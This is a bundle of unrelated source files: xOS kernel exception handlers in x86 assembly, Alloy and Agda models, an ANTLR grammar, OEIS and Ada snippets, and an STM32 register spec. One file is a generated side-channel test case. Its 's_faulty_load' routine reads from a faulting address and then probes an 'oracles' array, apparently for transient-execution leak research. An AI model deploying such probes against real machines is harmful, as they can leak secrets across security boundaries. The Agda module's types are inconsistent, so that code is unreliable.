device_text db "Device not present.",0
double_text db "Double fault.",0
coprocessor_text db "Coprocessor segment overrun.",0
tss_text db "Corrupt TSS.",0
segment_text db "Memory segment not present.",0
stack_text db "Stack segment error.",0
gpf_text db "General protection fault.",0
page_text db "Page fault.",0
reserved_text db "Reserved exception.",0
floating_text db "x87 floating point error.",0
alignment_text db "Alignment check.",0
machine_text db "Machine check.",0
simd_text db "SIMD floating point error.",0
virtual_text db "Virtualization exception.",0
security_text db "Security exception.",0
dump_eax dd 0
dump_ebx dd 0
dump_ecx dd 0
dump_edx dd 0
dump_esi dd 0
dump_edi dd 0
dump_ebp dd 0
dump_esp dd 0
dump_cr0 dd 0
dump_cr2 dd 0
dump_cr3 dd 0
dump_cr4 dd 0
dump_eflags dd 0
dump_cs dw 0
dump_ss dw 0
dump_ds dw 0
dump_es dw 0
; install_exceptions:
; Installs exception handlers
install_exceptions:
mov al, 0
mov ebp, divide_handler
call install_isr
mov al, 1
mov ebp, debug_handler
call install_isr
mov al, 2
mov ebp, nmi_handler
call install_isr
mov al, 3
mov ebp, breakpoint_handler
call install_isr
mov al, 4
mov ebp, overflow_handler
call install_isr
mov al, 5
mov ebp, bound_handler
call install_isr
mov al, 6
mov ebp, opcode_handler
call install_isr
mov al, 7
mov ebp, device_handler
call install_isr
mov al, 8
mov ebp, double_handler
call install_isr
mov al, 9
mov ebp, coprocessor_handler
call install_isr
mov al, 10
mov ebp, tss_handler
call install_isr
mov al, 11
mov ebp, segment_handler
call install_isr
mov al, 12
mov ebp, stack_handler
call install_isr
mov al, 13
mov ebp, gpf_handler
call install_isr
mov al, 14
mov ebp, page_handler
call install_isr
mov al, 15
mov ebp, reserved_handler
call install_isr
mov al, 16
mov ebp, floating_handler
call install_isr
mov al, 17
mov ebp, alignment_handler
call install_isr
mov al, 18
mov ebp, machine_handler
call install_isr
mov al, 19
mov ebp, simd_handler
call install_isr
mov al, 20
mov ebp, virtual_handler
call install_isr
mov al, 21
mov ebp, reserved_handler
call install_isr
mov al, 22
mov ebp, reserved_handler
call install_isr
mov al, 23
mov ebp, reserved_handler
call install_isr
mov al, 24
mov ebp, reserved_handler
call install_isr
mov al, 25
mov ebp, reserved_handler
call install_isr
mov al, 26
mov ebp, reserved_handler
call install_isr
mov al, 27
mov ebp, reserved_handler
call install_isr
mov al, 28
mov ebp, reserved_handler
call install_isr
mov al, 29
mov ebp, reserved_handler
call install_isr
mov al, 30
mov ebp, security_handler
call install_isr
mov al, 31
mov ebp, reserved_handler
call install_isr
ret
; exception_handler:
; Common code for exception handlers
exception_handler:
cli
call save_regs
mov [kprint_type], KPRINT_TYPE_ERROR
; if the error was caused in userspace, make a register dump and kill the process
; else, make a kernel panic and freeze the system
cmp [current_task], 0
je .kernel
.user:
mov eax, [esp+16] ; CS
mov [dump_cs], ax
mov eax, [esp+16+4] ; EFLAGS
mov [dump_eflags], eax
mov eax, [esp+16+8] ; ESP
mov [dump_esp], eax
mov eax, [esp+12+4+4+4+4]
mov [dump_ss], ax
mov esi, .umsg
call kprint
movzx eax, [current_task]
call int_to_string
call kprint
mov esi, .colon
call kprint
mov esi, [esp+4] ; exception name
call kprint
mov esi, newline
call kprint
mov esi, .error_code
call kprint
mov eax, [esp+8]
call hex_dword_to_string
call kprint
mov esi, .eip
call kprint
mov eax, [esp+12] ; eip
call hex_dword_to_string
call kprint
mov esi, newline
call kprint
call dump_regs
mov esi, .terminating_msg
call kprint
mov [kprint_type], KPRINT_TYPE_NORMAL
call terminate
.kernel:
call use_front_buffer
mov [kprint_type], KPRINT_TYPE_ERROR
mov [debug_mode],1
mov ebx, 0x0072B8
call clear_screen
mov ebx, 0x0072B8
mov ecx, 0xFFFFFF
call set_text_color
mov eax, [esp+16] ; CS
mov [dump_cs], ax
mov eax, [esp+16+4] ; EFLAGS
mov [dump_eflags], eax
mov eax, [esp+16+8] ; ESP
mov [dump_esp], eax
mov eax, [esp+12+4+4+4+4]
mov [dump_ss], ax
mov esi, .kernel_msg
mov cx, 16
mov dx, 16
call print_string_transparent
mov ax, 0
mov bx, 4*16
mov esi, [screen.width]
mov edi, 10*16
mov edx, 0
call fill_rect
mov [screen.x], 0
mov [screen.y], 5
mov ebx, 0
mov ecx, 0xFFFFFF
call set_text_color
mov esi, .kmsg
call kprint
mov esi, [esp+4]
call kprint
mov esi, newline
call kprint
mov esi, .error_code
call kprint
mov eax, [esp+8]
call hex_dword_to_string
call kprint
mov esi, .eip
call kprint
mov eax, [esp+12] ; eip
call hex_dword_to_string
call kprint
mov esi, newline
call kprint
call dump_regs
cli
hlt
.kernel_msg db "An error has occured and your PC must be rebooted.",10
db "The information shown below may help resolve this error. Please report it.",10,0
.kmsg db "KERNEL PANIC: ",0
.umsg db "EXCEPTION IN USER APPLICATION PID ",0
.colon db ": ",0
.error_code db "Error code: 0x",0
.eip db ", fault address: 0x",0
.terminating_msg db "Terminating faulty process...",10,0
; panic:
; Makes a kernel panic
panic:
call save_regs
call use_front_buffer
mov [kprint_type], KPRINT_TYPE_ERROR
mov [debug_mode], 1
mov ebx, 0
call clear_screen
mov ebx, 0
mov ecx, 0xFFFFFF
call set_text_color
push cs
pop eax
mov [dump_cs], ax
pushfd
pop eax
mov [dump_eflags], eax
cli
mov eax, esp
mov [dump_esp], eax
mov ax, ss
mov [dump_ss], ax
mov esi, .msg
call kprint
pop esi
call kprint
mov esi, newline
call kprint
call dump_regs
cli
hlt
.msg db "KERNEL PANIC: ",0
; save_regs:
; Saves registers for dumping
save_regs:
mov [dump_eax], eax
mov [dump_ebx], ebx
mov [dump_ecx], ecx
mov [dump_edx], edx
mov [dump_esi], esi
mov [dump_edi], edi
mov [dump_ebp], ebp
mov eax, cr0
mov [dump_cr0], eax
mov eax, cr2
mov [dump_cr2], eax
mov eax, cr3
mov [dump_cr3], eax
mov eax, cr4
mov [dump_cr4], eax
mov ax, ds
mov [dump_ds], ax
mov ax, es
mov [dump_es], ax
ret
; dump_regs:
; Dumps registers
dump_regs:
mov [kprint_type], KPRINT_TYPE_ERROR
mov esi, .msg
call kprint
mov esi, .eax
call kprint
mov eax, [dump_eax]
call hex_dword_to_string
call kprint
mov esi, .ebx
call kprint
mov eax, [dump_ebx]
call hex_dword_to_string
call kprint
mov esi, .ecx
call kprint
mov eax, [dump_ecx]
call hex_dword_to_string
call kprint
mov esi, .edx
call kprint
mov eax, [dump_edx]
call hex_dword_to_string
call kprint
mov esi, newline
call kprint
mov esi, .esi
call kprint
mov eax, [dump_esi]
call hex_dword_to_string
call kprint
mov esi, .edi
call kprint
mov eax, [dump_edi]
call hex_dword_to_string
call kprint
mov esi, .esp
call kprint
mov eax, [dump_esp]
call hex_dword_to_string
call kprint
mov esi, .ebp
call kprint
mov eax, [dump_ebp]
call hex_dword_to_string
call kprint
mov esi, newline
call kprint
mov esi, .cs
call kprint
mov ax, [dump_cs]
call hex_word_to_string
call kprint
mov esi, .ss
call kprint
mov ax, [dump_ss]
call hex_word_to_string
call kprint
mov esi, .ds
call kprint
mov ax, [dump_ds]
call hex_word_to_string
call kprint
mov esi, .es
call kprint
mov ax, [dump_es]
call hex_word_to_string
call kprint
mov esi, .eflags
call kprint
mov eax, [dump_eflags]
call hex_dword_to_string
call kprint
mov esi, newline
call kprint
mov esi, .cr0
call kprint
mov eax, [dump_cr0]
call hex_dword_to_string
call kprint
mov esi, .cr2
call kprint
mov eax, [dump_cr2]
call hex_dword_to_string
call kprint
mov esi, .cr3
call kprint
mov eax, [dump_cr3]
call hex_dword_to_string
call kprint
mov esi, .cr4
call kprint
mov eax, [dump_cr4]
call hex_dword_to_string
call kprint
mov esi, newline
call kprint
mov esi, .end_msg
call kprint
ret
.msg db " --- beginning register dump at time of fault --- ",10,0
.eax db " eax: ",0
.ebx db " ebx: ",0
.ecx db " ecx: ",0
.edx db " edx: ",0
.esi db " esi: ",0
.edi db " edi: ",0
.esp db " esp: ",0
.ebp db " ebp: ",0
.eflags db " eflags: ",0
.cs db " cs: ",0
.ss db " ss: ",0
.ds db " ds: ",0
.es db " es: ",0
.cr0 db " cr0: ",0
.cr2 db " cr2: ",0
.cr3 db " cr3: ",0
.cr4 db " cr4: ",0
.end_msg db " --- end of register dump --- ",10,0
; early_boot_error:
; Handler for early boot errors, before the VESA Framebuffer is properly mapped
; In\ ESI = Text to display
; Out\ Nothing
early_boot_error:
cli
mov [kprint_type], KPRINT_TYPE_ERROR
call kprint
mov [.string], esi
mov al, 0xFF ; no PIC
out 0x21, al
out 0xa1, al
mov eax, cr0
and eax, 0x7FFFFFFF
mov cr0, eax
call vmm_init
mov eax, VBE_BACK_BUFFER
mov ebx, [screen.framebuffer]
mov ecx, 2048
mov dl, PAGE_PRESENT OR PAGE_WRITEABLE
call vmm_map_memory
mov ebx, 0x800000
call clear_screen
mov ebx, 0x800000
mov ecx, 0xD8D8D8
call set_text_color
mov esi, .title
mov cx, 16
mov dx, 16
call print_string
mov esi, [.string]
mov cx, 16
mov dx, 32
call print_string
cli
hlt
.string dd 0
.title db "An error has occured and xOS has failed to start. Error information: ",0
; Exception Handlers...
divide_handler:
push 0
push divide_text
call exception_handler
add esp, 8
iret
debug_handler:
push 0
push debug_text
call exception_handler
add esp, 8
iret
nmi_handler:
push 0
push nmi_text
call exception_handler
add esp, 8
iret
breakpoint_handler:
push 0
push breakpoint_text
call exception_handler
add esp, 8
iret
overflow_handler:
push 0
push overflow_text
call exception_handler
add esp, 8
iret
bound_handler:
push 0
push bound_text
call exception_handler
add esp, 8
iret
opcode_handler:
push 0
push opcode_text
call exception_handler
add esp, 8
iret
device_handler:
push 0
push device_text
call exception_handler
add esp, 8
iret
double_handler:
push double_text
call exception_handler
add esp, 8
iret
coprocessor_handler:
push 0
push coprocessor_text
call exception_handler
add esp, 8
iret
tss_handler:
push tss_text
call exception_handler
add esp, 8
iret
segment_handler:
push segment_text
call exception_handler
add esp, 8
iret
stack_handler:
push stack_text
call exception_handler
add esp, 8
iret
gpf_handler:
push gpf_text
call exception_handler
add esp, 8
iret
page_handler:
push page_text
call exception_handler
add esp, 8
iret
reserved_handler:
push 0
push reserved_text
call exception_handler
add esp, 8
iret
floating_handler:
push 0
push floating_text
call exception_handler
add esp, 8
iret
alignment_handler:
push alignment_text
call exception_handler
add esp, 8
iret
machine_handler:
push 0
push machine_text
call exception_handler
add esp, 8
iret
simd_handler:
push 0
push simd_text
call exception_handler
add esp, 8
iret
virtual_handler:
push 0
push virtual_text
call exception_handler
add esp, 8
iret
security_handler:
push security_text
call exception_handler
add esp, 8
iret
|
alloy4fun_models/trashltl/models/3/iTHXfva79RpDWFHrr.als | Kaixi26/org.alloytools.alloy | 0 | 3440 | open main
pred idiTHXfva79RpDWFHrr_prop4 {
eventually (some f:File | f in Trash')
}
pred __repair { idiTHXfva79RpDWFHrr_prop4 }
check __repair { idiTHXfva79RpDWFHrr_prop4 <=> prop4o } |
UniDB/Morph/Bla.agda | skeuchel/unidb-agda | 0 | 16472 | <filename>UniDB/Morph/Bla.agda
module UniDB.Morph.Bla where
open import UniDB.Spec
open import UniDB.Morph.WeakenOne
open import UniDB.Morph.Sub
open import UniDB.Morph.ShiftsPrime
open import UniDB.Morph.Subs
-- mutual
-- data BlaSubst (T : STX) : MOR where
-- blasubst : {γ₁ γ₂ : Dom} → BlaSubst T γ₁ γ₂
mutual
data BlaWeak* (T : STX) : MOR where
reflW : {γ : Dom} → BlaWeak* T γ γ
inclW : {γ₁ γ₂ : Dom} → BlaWeak+ T γ₁ γ₂ → BlaWeak* T γ₁ γ₂
skipW : {γ₁ γ₂ : Dom} → Bla T γ₁ γ₂ → BlaWeak* T (suc γ₁) (suc γ₂)
data BlaWeak+ (T : STX) : MOR where
stepW : {γ₁ γ₂ γ₃ : Dom} → Weaken₁ γ₁ γ₂ → BlaWeak* T γ₂ γ₃ → BlaWeak T γ₁ γ₃
data BlaSubs* (T : STX) : MOR where
reflS : {γ : Dom} → BlaSubs* T γ γ
inclS : {γ₁ γ₂ : Dom} → BlaSubs+ T γ₁ γ₂ → BlaSubs* T γ₁ γ₂
skipS : {γ₁ γ₂ : Dom} → Bla T γ₁ γ₂ → BlaSubs* T (suc γ₁) (suc γ₂)
data BlaSubs+ (T : STX) : MOR where
stepS : {γ₁ γ₂ γ₃ : Dom} → BlaSubs* T γ₁ γ₂ → Single T γ₂ γ₃ → BlaWeak T γ₁ γ₃
data Bla (T : STX) : MOR where
refl : {γ : Dom} → Shifts* γ γ
incl : {γ₁ γ₂ : Dom} (ξ : Shifts+ γ₁ γ₂) → Shifts* γ₁ γ₂
data Shifts+ : MOR where
step : {γ₁ γ₂ : Dom} (ξ : Shifts* γ₁ γ₂) → Shifts+ γ₁ (suc γ₂)
skip : {γ₁ γ₂ : Dom} (ξ : Shifts+ γ₁ γ₂) → Shifts+ (suc γ₁) (suc γ₂)
|
alloy4fun_models/trashltl/models/1/YyEEDNvazLyohQRJg.als | Kaixi26/org.alloytools.alloy | 0 | 3937 | <reponame>Kaixi26/org.alloytools.alloy
open main
pred idYyEEDNvazLyohQRJg_prop2 {
eventually some File
}
pred __repair { idYyEEDNvazLyohQRJg_prop2 }
check __repair { idYyEEDNvazLyohQRJg_prop2 <=> prop2o } |
antlr4-formatter/src/test/resources/at.unformatted.g4 | quantrpeter/Antlr4Formatter | 28 | 1212 | <reponame>quantrpeter/Antlr4Formatter
// Define a grammar called Hello
grammar Hello;
r : 'hello' ID ; // match keyword hello followed by an identifier
AT : '@';
ELLIPSIS : '...';
|
oeis/128/A128987.asm | neoneye/loda-programs | 11 | 94748 | ; A128987: a(n) = (n^3 - n^2)*4^n.
; Submitted by <NAME>
; 0,64,1152,12288,102400,737280,4816896,29360128,169869312,943718400,5075107840,26575110144,136096776192,683973541888,3382286745600,16492674416640,79439715106816,378506877861888,1786156639322112,8356288371097600,38790770227937280,178806978955444224,818951444739653632,3728980491462770688,16888498602639360000,76110833702561382400,341444909348721524736,1525315150594858549248,6787248897620508147712,30091251270238706073600,132954907911261593272320,585573443875836006498304,2571328549922521818857472
mul $0,2
mov $2,2
pow $2,$0
mul $2,$0
add $0,2
mul $2,$0
mul $0,$2
div $0,2
|
src/instructions.ads | acornagl/Control_flow_graph-wcet | 0 | 20631 | <filename>src/instructions.ads
package Instructions is
-- Type Instruction colleclt all the possible processors instructions.
-- At the present moment it is statically defined but in a future work it
-- can be
type Instruction is ( );
end Instructions;
|
oeis/056/A056128.asm | neoneye/loda-programs | 11 | 175130 | <reponame>neoneye/loda-programs
; A056128: a(n) = (9*n + 11)*binomial(n+10, 10)/11.
; Submitted by <NAME>
; 1,20,174,988,4277,15288,47320,130832,330174,772616,1696396,3527160,6995534,13312768,24426552,43385360,74847175,125777340,206390730,331405620,521690715,806403000,1225732560,1834391520,2706007980,3938612496,5661434520,8043259504,11302634348,15720249792,21653873488,29556257120,39996495357,53685373924,71505308966,94545550476,124143399185,161932269304,209897519208,270441068912,346455927370,441411864600,559453583780,705512877160,885436387290,1106130742080,1375726989000,1703766420720,2101410062115
mov $1,$0
add $0,10
bin $0,$1
mul $1,9
add $1,11
mul $0,$1
div $0,11
|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/nested_generic1.adb | best08618/asylo | 7 | 23379 | <filename>gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/nested_generic1.adb
-- PR ada/52735
-- Reported by <NAME> <<EMAIL>>
-- { dg-do compile }
with Nested_Generic1_Pkg;
procedure Nested_Generic1 is
package P is new Nested_Generic1_Pkg;
begin
null;
end;
|
Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0x84_notsx.log_159_136.asm | ljhsiun2/medusa | 9 | 2261 | <reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r14
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x7eb9, %rsi
nop
nop
nop
nop
add $43262, %rdx
movw $0x6162, (%rsi)
nop
nop
sub $12629, %r9
lea addresses_normal_ht+0xa07f, %r9
nop
nop
nop
cmp $36730, %r14
mov (%r9), %r12d
nop
nop
dec %r14
lea addresses_UC_ht+0xb85f, %r14
nop
nop
nop
nop
nop
and %r11, %r11
mov (%r14), %r13
nop
nop
nop
nop
nop
and $15340, %r11
lea addresses_D_ht+0xbcef, %rsi
lea addresses_A_ht+0xde1f, %rdi
nop
nop
nop
nop
nop
xor %r9, %r9
mov $100, %rcx
rep movsl
nop
nop
nop
dec %r13
lea addresses_D_ht+0x1285f, %r9
nop
sub %r14, %r14
vmovups (%r9), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $1, %xmm1, %rcx
nop
nop
nop
nop
sub $44534, %rcx
lea addresses_A_ht+0x1b77f, %rsi
lea addresses_WT_ht+0x2c5f, %rdi
clflush (%rdi)
nop
dec %r13
mov $57, %rcx
rep movsb
nop
nop
inc %rsi
lea addresses_normal_ht+0x68df, %rsi
lea addresses_A_ht+0x1682f, %rdi
nop
nop
dec %r14
mov $27, %rcx
rep movsw
add $54940, %r14
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r14
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %r15
push %rbx
push %rdi
push %rsi
// Store
lea addresses_D+0x563a, %rsi
nop
nop
cmp $2280, %rdi
mov $0x5152535455565758, %r11
movq %r11, %xmm1
vmovups %ymm1, (%rsi)
nop
nop
cmp %r14, %r14
// Store
lea addresses_UC+0x5f, %r11
nop
nop
nop
nop
nop
cmp $29156, %r12
movw $0x5152, (%r11)
nop
nop
nop
nop
nop
sub %rbx, %rbx
// Store
mov $0x1349330000000e3f, %rbx
nop
nop
nop
nop
and %r15, %r15
movw $0x5152, (%rbx)
nop
nop
nop
nop
sub %r12, %r12
// Faulty Load
lea addresses_A+0xe85f, %rbx
nop
cmp %rsi, %rsi
mov (%rbx), %r12
lea oracles, %r11
and $0xff, %r12
shlq $12, %r12
mov (%r11,%r12,1), %r12
pop %rsi
pop %rdi
pop %rbx
pop %r15
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_A', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC', 'same': False, 'size': 2, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_NC', 'same': False, 'size': 2, 'congruent': 4, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_A', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 8, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': True}, 'OP': 'REPM'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 32, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'}
{'00': 159}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
programs/oeis/230/A230928.asm | karttu/loda | 0 | 90259 | ; A230928: Number of black-square subarrays of (n+2) X (1+2) 0..3 arrays x(i,j) with each element diagonally or antidiagonally next to at least one element with value (x(i,j)+1) mod 4, no adjacent elements equal, and upper left element zero.
; 2,2,8,8,42,42,208,208,1042,1042,5208,5208,26042,26042,130208,130208,651042,651042,3255208,3255208,16276042,16276042,81380208,81380208,406901042,406901042,2034505208,2034505208,10172526042,10172526042,50862630208,50862630208,254313151042,254313151042,1271565755208,1271565755208,6357828776042,6357828776042,31789143880208,31789143880208,158945719401042,158945719401042,794728597005208,794728597005208,3973642985026042,3973642985026042
div $0,2
mov $1,5
mov $3,$0
mov $0,3
add $3,1
pow $1,$3
add $1,2
div $1,6
mov $2,1
lpb $0,1
mov $0,2
mul $1,14
lpe
add $1,$2
sub $1,15
div $1,14
mul $1,2
add $1,2
|
TRGB.asm | CodexLink/8086_ASM_DOSBOX_Examples | 0 | 14775 | ; T-Structure in Red and Green (Left) + Blue (Right) for Spacing — TGRB.asm
; Copyright (c) 2021 <NAME>
; This code is licensed under MIT license. (see LICENSE for details)
.MODEL TINY
.CODE
MOV AX, 0B800H ; Get address for VGA color mode.
MOV ES, AX ; Move that address in extra segment.
MOV AH, 06H ; Set to Scroll Window Up.
MOV CX, 0000H
MOV DX, 184FH ; Let Whole Screen Fill with Red First.
MOV BH, 44H ; Set Screen to Red Color.
INT 10H
MOV CX, 0C00H
MOV DX, 181AH ; Set to 12th Row and 26th Column.
MOV BH, 20H ; Set first box to Green Color.
INT 10H
MOV CX, 0C35H ; Adjust Second Box Rendering to
MOV DX, 184FH ; Set to 12th Row and 54th Column.
MOV BH, 10H ; Set second box to Blue Color.
INT 10H
MOV AH, 4CH ; Perform Termination.
INT 21h
END |
SVD2ada/svd/stm32_svd-hrtim.ads | JCGobbi/Nucleo-STM32H743ZI | 0 | 19730 | pragma Style_Checks (Off);
-- This spec has been automatically generated from STM32H743x.svd
pragma Restrictions (No_Elaboration_Code);
with HAL;
with System;
package STM32_SVD.HRTIM is
pragma Preelaborate;
---------------
-- Registers --
---------------
subtype CR1_AD1USRC_Field is HAL.UInt3;
subtype CR1_AD2USRC_Field is HAL.UInt3;
subtype CR1_AD3USRC_Field is HAL.UInt3;
subtype CR1_AD4USRC_Field is HAL.UInt3;
-- Control Register 1
type CR1_Register is record
-- Master Update Disable
MUDIS : Boolean := False;
-- Timer A Update Disable
TAUDIS : Boolean := False;
-- Timer B Update Disable
TBUDIS : Boolean := False;
-- Timer C Update Disable
TCUDIS : Boolean := False;
-- Timer D Update Disable
TDUDIS : Boolean := False;
-- Timer E Update Disable
TEUDIS : Boolean := False;
-- unspecified
Reserved_6_15 : HAL.UInt10 := 16#0#;
-- ADC Trigger 1 Update Source
AD1USRC : CR1_AD1USRC_Field := 16#0#;
-- ADC Trigger 2 Update Source
AD2USRC : CR1_AD2USRC_Field := 16#0#;
-- ADC Trigger 3 Update Source
AD3USRC : CR1_AD3USRC_Field := 16#0#;
-- ADC Trigger 4 Update Source
AD4USRC : CR1_AD4USRC_Field := 16#0#;
-- unspecified
Reserved_28_31 : HAL.UInt4 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CR1_Register use record
MUDIS at 0 range 0 .. 0;
TAUDIS at 0 range 1 .. 1;
TBUDIS at 0 range 2 .. 2;
TCUDIS at 0 range 3 .. 3;
TDUDIS at 0 range 4 .. 4;
TEUDIS at 0 range 5 .. 5;
Reserved_6_15 at 0 range 6 .. 15;
AD1USRC at 0 range 16 .. 18;
AD2USRC at 0 range 19 .. 21;
AD3USRC at 0 range 22 .. 24;
AD4USRC at 0 range 25 .. 27;
Reserved_28_31 at 0 range 28 .. 31;
end record;
-- Control Register 2
type CR2_Register is record
-- Master Timer Software update
MSWU : Boolean := False;
-- Timer A Software update
TASWU : Boolean := False;
-- Timer B Software Update
TBSWU : Boolean := False;
-- Timer C Software Update
TCSWU : Boolean := False;
-- Timer D Software Update
TDSWU : Boolean := False;
-- Timer E Software Update
TESWU : Boolean := False;
-- unspecified
Reserved_6_7 : HAL.UInt2 := 16#0#;
-- Master Counter software reset
MRST : Boolean := False;
-- Timer A counter software reset
TARST : Boolean := False;
-- Timer B counter software reset
TBRST : Boolean := False;
-- Timer C counter software reset
TCRST : Boolean := False;
-- Timer D counter software reset
TDRST : Boolean := False;
-- Timer E counter software reset
TERST : Boolean := False;
-- unspecified
Reserved_14_31 : HAL.UInt18 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CR2_Register use record
MSWU at 0 range 0 .. 0;
TASWU at 0 range 1 .. 1;
TBSWU at 0 range 2 .. 2;
TCSWU at 0 range 3 .. 3;
TDSWU at 0 range 4 .. 4;
TESWU at 0 range 5 .. 5;
Reserved_6_7 at 0 range 6 .. 7;
MRST at 0 range 8 .. 8;
TARST at 0 range 9 .. 9;
TBRST at 0 range 10 .. 10;
TCRST at 0 range 11 .. 11;
TDRST at 0 range 12 .. 12;
TERST at 0 range 13 .. 13;
Reserved_14_31 at 0 range 14 .. 31;
end record;
-- ISR_FLT array
type ISR_FLT_Field_Array is array (1 .. 5) of Boolean
with Component_Size => 1, Size => 5;
-- Type definition for ISR_FLT
type ISR_FLT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- FLT as a value
Val : HAL.UInt5;
when True =>
-- FLT as an array
Arr : ISR_FLT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 5;
for ISR_FLT_Field use record
Val at 0 range 0 .. 4;
Arr at 0 range 0 .. 4;
end record;
-- Interrupt Status Register
type ISR_Register is record
-- Read-only. Fault 1 Interrupt Flag
FLT : ISR_FLT_Field := (As_Array => False, Val => 16#0#);
-- System Fault Interrupt Flag
SYSFLT : Boolean := False;
-- unspecified
Reserved_6_15 : HAL.UInt10 := 16#0#;
-- Read-only. DLL Ready Interrupt Flag
DLLRDY : Boolean := False;
-- Read-only. Burst mode Period Interrupt Flag
BMPER : Boolean := False;
-- unspecified
Reserved_18_31 : HAL.UInt14 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for ISR_Register use record
FLT at 0 range 0 .. 4;
SYSFLT at 0 range 5 .. 5;
Reserved_6_15 at 0 range 6 .. 15;
DLLRDY at 0 range 16 .. 16;
BMPER at 0 range 17 .. 17;
Reserved_18_31 at 0 range 18 .. 31;
end record;
-- Interrupt Clear Register
type ICR_Register is record
-- Write-only. Fault 1 Interrupt Flag Clear
FLT1C : Boolean := False;
-- Write-only. Fault 2 Interrupt Flag Clear
FLT2C : Boolean := False;
-- Write-only. Fault 3 Interrupt Flag Clear
FLT3C : Boolean := False;
-- Write-only. Fault 4 Interrupt Flag Clear
FLT4C : Boolean := False;
-- Write-only. Fault 5 Interrupt Flag Clear
FLT5C : Boolean := False;
-- System Fault Interrupt Flag Clear
SYSFLTC : Boolean := False;
-- unspecified
Reserved_6_15 : HAL.UInt10 := 16#0#;
-- Write-only. DLL Ready Interrupt flag Clear
DLLRDYC : Boolean := False;
-- Write-only. Burst mode period flag Clear
BMPERC : Boolean := False;
-- unspecified
Reserved_18_31 : HAL.UInt14 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for ICR_Register use record
FLT1C at 0 range 0 .. 0;
FLT2C at 0 range 1 .. 1;
FLT3C at 0 range 2 .. 2;
FLT4C at 0 range 3 .. 3;
FLT5C at 0 range 4 .. 4;
SYSFLTC at 0 range 5 .. 5;
Reserved_6_15 at 0 range 6 .. 15;
DLLRDYC at 0 range 16 .. 16;
BMPERC at 0 range 17 .. 17;
Reserved_18_31 at 0 range 18 .. 31;
end record;
-- Interrupt Enable Register
type IER_Register is record
-- Fault 1 Interrupt Enable
FLT1IE : Boolean := False;
-- Fault 2 Interrupt Enable
FLT2IE : Boolean := False;
-- Fault 3 Interrupt Enable
FLT3IE : Boolean := False;
-- Fault 4 Interrupt Enable
FLT4IE : Boolean := False;
-- Fault 5 Interrupt Enable
FLT5IE : Boolean := False;
-- System Fault Interrupt Enable
SYSFLTE : Boolean := False;
-- unspecified
Reserved_6_15 : HAL.UInt10 := 16#0#;
-- DLL Ready Interrupt Enable
DLLRDYIE : Boolean := False;
-- Burst mode period Interrupt Enable
BMPERIE : Boolean := False;
-- unspecified
Reserved_18_31 : HAL.UInt14 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for IER_Register use record
FLT1IE at 0 range 0 .. 0;
FLT2IE at 0 range 1 .. 1;
FLT3IE at 0 range 2 .. 2;
FLT4IE at 0 range 3 .. 3;
FLT5IE at 0 range 4 .. 4;
SYSFLTE at 0 range 5 .. 5;
Reserved_6_15 at 0 range 6 .. 15;
DLLRDYIE at 0 range 16 .. 16;
BMPERIE at 0 range 17 .. 17;
Reserved_18_31 at 0 range 18 .. 31;
end record;
-- Output Enable Register
type OENR_Register is record
-- Write-only. Timer A Output 1 Enable
TA1OEN : Boolean := False;
